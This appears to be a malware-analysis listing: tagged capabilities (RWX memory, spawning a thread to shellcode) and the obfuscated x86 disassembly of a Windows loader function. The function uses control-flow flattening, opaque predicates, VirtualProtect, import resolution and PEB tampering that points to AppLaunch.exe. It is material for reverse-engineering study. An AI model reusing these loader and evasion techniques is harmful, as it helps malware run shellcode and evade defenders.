Function at 0x40f9f0
Capabilities:
Allocate or change rwx memory
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1e8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [0x52f080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1e0], 0xfbece093
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x1ec], eax
sub eax, 0x8144a6f7
je 0x41208d
jmp 0x40fa34
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8156ee1b
je 0x411218
jmp 0x40fa4a
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8337704f
je 0x412189
jmp 0x40fa60
mov eax, dword [ebp - 0x1ec]
sub eax, 0x83853fc3
je 0x413115
jmp 0x40fa76
mov eax, dword [ebp - 0x1ec]
sub eax, 0x83a6f6fe
je 0x411800
jmp 0x40fa8c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x86b91d26
je 0x413300
jmp 0x40faa2
mov eax, dword [ebp - 0x1ec]
sub eax, 0x88c22721
je 0x412332
jmp 0x40fab8
mov eax, dword [ebp - 0x1ec]
sub eax, 0x88eeef0b
je 0x413ac3
jmp 0x40face
mov eax, dword [ebp - 0x1ec]
sub eax, 0x88fa33d7
je 0x4145de
jmp 0x40fae4
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8963f7db
je 0x411a96
jmp 0x40fafa
mov eax, dword [ebp - 0x1ec]
sub eax, 0x89939824
je 0x412774
jmp 0x40fb10
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8c4984f5
je 0x413260
jmp 0x40fb26
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8e7fe8ac
je 0x4135ab
jmp 0x40fb3c
mov eax, dword [ebp - 0x1ec]
sub eax, 0x8eef649e
je 0x410e3d
jmp 0x40fb52
mov eax, dword [ebp - 0x1ec]
sub eax, 0x906b75e6
je 0x41262c
jmp 0x40fb68
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9103c9e2
je 0x4132c4
jmp 0x40fb7e
mov eax, dword [ebp - 0x1ec]
sub eax, 0x92a55a9d
je 0x41366b
jmp 0x40fb94
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9806cb09
je 0x4145b4
jmp 0x40fbaa
mov eax, dword [ebp - 0x1ec]
sub eax, 0x99ddf8c2
je 0x4116fe
jmp 0x40fbc0
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9c61e881
je 0x414626
jmp 0x40fbd6
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9d3efd1c
je 0x411779
jmp 0x40fbec
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9db9a723
je 0x4121b6
jmp 0x40fc02
mov eax, dword [ebp - 0x1ec]
sub eax, 0x9fedb3a0
je 0x413619
jmp 0x40fc18
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa05accc3
je 0x413bb1
jmp 0x40fc2e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa2760005
je 0x411ab7
jmp 0x40fc44
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa65311c0
je 0x413cc3
jmp 0x40fc5a
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa6ab1285
je 0x412e45
jmp 0x40fc70
mov eax, dword [ebp - 0x1ec]
sub eax, 0xa6d9d8c6
je 0x41245d
jmp 0x40fc86
mov eax, dword [ebp - 0x1ec]
sub eax, 0xaaaf137a
je 0x411b40
jmp 0x40fc9c
mov eax, dword [ebp - 0x1ec]
sub eax, 0xab4d6654
je 0x411ce1
jmp 0x40fcb2
mov eax, dword [ebp - 0x1ec]
sub eax, 0xabd83b74
je 0x411f0f
jmp 0x40fcc8
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb208a4cd
je 0x412f31
jmp 0x40fcde
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb2334d00
je 0x413f49
jmp 0x40fcf4
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb433f2d4
je 0x414668
jmp 0x40fd0a
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb696356d
je 0x413160
jmp 0x40fd20
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb755afd0
je 0x411c4e
jmp 0x40fd36
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb774d7d7
je 0x412ab1
jmp 0x40fd4c
mov eax, dword [ebp - 0x1ec]
sub eax, 0xb92e1aa6
je 0x41455f
jmp 0x40fd62
mov eax, dword [ebp - 0x1ec]
sub eax, 0xbc065d25
je 0x411a1c
jmp 0x40fd78
mov eax, dword [ebp - 0x1ec]
sub eax, 0xbceec271
je 0x411728
jmp 0x40fd8e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xbe0ea647
je 0x4130ad
jmp 0x40fda4
mov eax, dword [ebp - 0x1ec]
sub eax, 0xbe9b0555
je 0x413e97
jmp 0x40fdba
mov eax, dword [ebp - 0x1ec]
sub eax, 0xbff8673e
je 0x41407d
jmp 0x40fdd0
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc193e185
je 0x4144ab
jmp 0x40fde6
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc30d7079
je 0x412935
jmp 0x40fdfc
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc4fa074f
je 0x41154c
jmp 0x40fe12
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc50db9fc
je 0x4136b4
jmp 0x40fe28
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc5d23db1
je 0x411b04
jmp 0x40fe3e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc615a8d2
je 0x41387c
jmp 0x40fe54
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc7f01603
je 0x4124ed
jmp 0x40fe6a
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc83a64f9
je 0x411a87
jmp 0x40fe80
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc86e4c14
je 0x4124de
jmp 0x40fe96
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc97787c3
je 0x412cb0
jmp 0x40feac
mov eax, dword [ebp - 0x1ec]
sub eax, 0xc9acc5ea
je 0x41459f
jmp 0x40fec2
mov eax, dword [ebp - 0x1ec]
sub eax, 0xcad6a6a0
je 0x412961
jmp 0x40fed8
mov eax, dword [ebp - 0x1ec]
sub eax, 0xcb7430c6
je 0x411671
jmp 0x40feee
mov eax, dword [ebp - 0x1ec]
sub eax, 0xcb7585e8
je 0x413ee8
jmp 0x40ff04
mov eax, dword [ebp - 0x1ec]
sub eax, 0xcc26aebd
je 0x413535
jmp 0x40ff1a
mov eax, dword [ebp - 0x1ec]
sub eax, 0xcd206326
je 0x411236
jmp 0x40ff30
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd054743d
je 0x413bc0
jmp 0x40ff46
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd3a70685
je 0x4134f9
jmp 0x40ff5c
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd3b37ff4
je 0x413145
jmp 0x40ff72
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd3f6e3ec
je 0x413925
jmp 0x40ff88
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd65a998a
je 0x41240c
jmp 0x40ff9e
mov eax, dword [ebp - 0x1ec]
sub eax, 0xd67f2183
je 0x41206b
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x10a12fc5
mov ecx, 0x2b568e02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1c0]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x1e0], 0xcd206326
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x600551b
mov ecx, 0xdae07dfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov ecx, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1b8]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x400
call fcn.0041fac0
add esp, 0xc
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x130], eax
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x722e0af2
mov ecx, 0x79a00700
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x130]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x1c0]
movzx edx, word [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1d0], 0
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x16e46883
mov ecx, 0xdc347de3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x1c0]
add eax, 4
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x1e0], 0xbceec271
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
sub edx, 0x88b6e20f
sub edx, 1
add edx, 0x88b6e20f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ee151c1
mov ecx, 0x9d3efd1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x128]
movzx ecx, word [eax + 2]
mov eax, dword [ebp - 0x12c]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x121], al
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2ee151c1
mov ecx, 0xe5e5072
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1cc]
imul edx, dword [ebp - 0x1d0], 0x28
add ecx, edx
mov ecx, dword [ecx + 0xc]
sub eax, 0x6a980e08
add eax, ecx
add eax, 0x6a980e08
mov dword [ebp - 0x120], eax
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1cc]
imul edx, dword [ebp - 0x1d0], 0x28
add ecx, edx
mov edx, dword [ecx + 0x14]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x1cc]
imul ecx, dword [ebp - 0x1d0], 0x28
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x1e0], 0x4db7add4
jmp 0x414773
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c0]
cmp eax, dword [ecx + 0x34]
setne al
and al, 1
mov byte [ebp - 0x112], al
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
add edx, 0xdd762afb
sub edx, 1
sub edx, 0xdd762afb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x357efd0f
mov ecx, 0xc83a64f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0x8963f7db
jmp 0x414773
mov dl, byte [ebp - 0x112]
mov eax, 0xf1901641
mov ecx, 0xa2760005
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1c0]
mov ecx, dword [ecx + 0x34]
add eax, 0x88557406
sub eax, ecx
sub eax, 0x88557406
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1c4]
mov edx, dword [ebp - 0x68]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1e0], 0xc5d23db1
jmp 0x414773
mov dword [ebp - 0x1dc], 0
mov dword [ebp - 0x1e0], 0x58efb2f7
jmp 0x414773
mov dl, byte [ebp - 0x111]
mov eax, 0xe93daf34
mov ecx, 0xdb00ce9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
mov dword [ebp - 0x10c], eax
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
add edx, 0x1b04620a
sub edx, 1
sub edx, 0x1b04620a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x31156b32
mov ecx, 0xdd649d2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1ac]
mov esi, dword [eax]
mov edx, dword [ebp - 0x10c]
mov eax, 0xfa84cf59
mov ecx, 0x6c1ce3d0
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x104], eax
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0x1e0], 0xdcc6266b
jmp 0x414773
mov dword [ebp - 0x1e0], 0xdefa056a
jmp 0x414773
mov dword [ebp - 0x1e0], 0x2b5e033
jmp 0x414773
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0xfc]
sub eax, 0x5976e320
add eax, ecx
add eax, 0x5976e320
mov dword [ebp - 0x1dc], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1e0], 0x58efb2f7
jmp 0x414773
mov edx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xec]
imul eax, eax, 0x14
add edx, eax
mov eax, 0x73874d74
mov ecx, 0x161d75eb
cmp dword [edx + 0x10], 0
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
add edx, 0xcce6a602
sub edx, 1
sub edx, 0xcce6a602
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc193e185
mov ecx, 0xa6d9d8c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x1a0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x19c]
imul edx, dword [edx], 0x14
add ecx, edx
mov edx, dword [ecx + 0x10]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xdc], eax
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
sub edx, 0xe2524d8d
sub edx, 1
add edx, 0xe2524d8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc193e185
mov ecx, 0xc86e4c14
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0xc7f01603
jmp 0x414773
mov ecx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov dword [eax], 0
mov dword [ebp - 0x1e0], 0x775c28d6
jmp 0x414773
mov eax, dword [ebp - 0x194]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x1e0], 0xdaa29fdf
jmp 0x414773
mov dword [ebp - 0x1e0], 0xf6edfba4
jmp 0x414773
mov ecx, dword [ebp - 0xc8]
add ecx, 0xb34893a1
add ecx, 1
sub ecx, 0xb34893a1
mov eax, dword [ebp - 0x18c]
mov dword [eax], ecx
mov dword [ebp - 0x1e0], 0x775c28d6
jmp 0x414773
mov dword [ebp - 0x1e0], 0xe7d33a1a
jmp 0x414773
mov dword [ebp - 0x1e0], 0x35e46174
jmp 0x414773
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
sub edx, 0x74788694
sub edx, 1
add edx, 0x74788694
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcf7d7eb
mov ecx, 0xf7e89f12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9acc5ea
mov ecx, 0xd8620da4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
sub edx, 0x8bae6160
sub edx, 1
add edx, 0x8bae6160
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9806cb09
mov ecx, 0xda41e835
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0xb0], eax
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2207b8b6
mov ecx, 0x83853fc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0xdab0860c
jmp 0x414773
mov eax, dword [ebp - 0x178]
mov dword [eax], 0x40
mov dword [ebp - 0x1e0], 0xb696356d
jmp 0x414773
mov dword [ebp - 0x1e0], 0xf3f41b54
jmp 0x414773
mov dl, byte [ebp - 0xa5]
mov eax, 0x585026c8
mov ecx, 0xd7281b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov edx, dword [ebp - 0xa4]
mov eax, 0x585026c8
mov ecx, 0x56d224a8
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39ce22e2
mov ecx, 0x17d659fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dl, byte [ebp - 0x95]
mov eax, 0x7695380
mov ecx, 0xe376ab46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
sub edx, 0xd3db2448
sub edx, 1
add edx, 0xd3db2448
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9e00910
mov ecx, 0x8e7fe8ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9e00910
mov ecx, 0x9fedb3a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0xc615a8d2
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9c61e881
mov ecx, 0xc50db9fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x94]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
sub edx, 0x500e602f
sub edx, 1
add edx, 0x500e602f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c61e881
mov ecx, 0xf58374fc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
add edx, 0xb7a5f814
sub edx, 1
sub edx, 0xb7a5f814
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7944f1a3
mov ecx, 0x5896f45c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x481ccab0
mov ecx, 0x7c23b9be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov esi, dword [ebp - 0x84]
sub esi, 0xf7a52691
add esi, eax
add esi, 0xf7a52691
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x8c]
mov edx, dword [ebp - 0x88]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x53055c]
mov eax, dword [0x530558]
mov edx, ecx
sub edx, 0xa84177b1
sub edx, 1
add edx, 0xa84177b1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb433f2d4
mov ecx, 0x485066cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov dword [ebp - 0x1e0], 0x14498d7d
jmp 0x414773
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xc
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
add eax, 0x72ec754b
add eax, 0x14
sub eax, 0x72ec754b
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
add ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x170]
mov eax, dword [eax]
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 8
add edx, eax
xor eax, eax
sub eax, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0x18
add edx, eax
xor eax, eax
sub eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
add ecx, 0xe6b1e550
add ecx, 0x24
sub ecx, 0xe6b1e550
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x160]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041fac0
add esp, 0xc
mov eax, dword [ebp - 0x1c0]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x15c]
mov byte [eax], cl
mov dword [ebp - 0x1e0], 0xa65311c0
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
sub edx, 0x550fcede
sub edx, 1
add edx, 0x550fcede
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76406824
mov ecx, 0x47e7b536
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1e0], eax
jmp 0x414773
mov eax, dword [0x53055c]
mov ecx, dword [0x530558]
mov edx, eax
sub edx, 0x508d93b9
sub edx, 1
add edx, 0x508d93b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd62bb9e
